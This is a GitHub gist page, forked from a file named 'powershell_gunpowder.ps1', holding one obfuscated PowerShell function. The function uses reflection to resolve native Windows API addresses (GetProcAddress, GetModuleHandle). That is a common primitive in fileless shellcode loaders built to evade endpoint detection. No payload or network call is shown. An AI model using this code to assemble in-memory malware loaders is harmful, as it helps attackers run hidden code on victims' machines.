Skip to content

Instantly share code, notes, and snippets.

@tehmasta
Forked from JohnHammond/powershell_gunpowder.ps1
Created January 6, 2023 18:29
Show Gist options
  • Save tehmasta/6fdd3020851c1350ff43b0ed732028e7 to your computer and use it in GitHub Desktop.
Save tehmasta/6fdd3020851c1350ff43b0ed732028e7 to your computer and use it in GitHub Desktop.
function sOH {
Param ($o73, $icO)
$zJ3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $zJ3.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zJ3.GetMethod('GetModuleHandle')).Invoke($null, @($o73)))), $icO))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment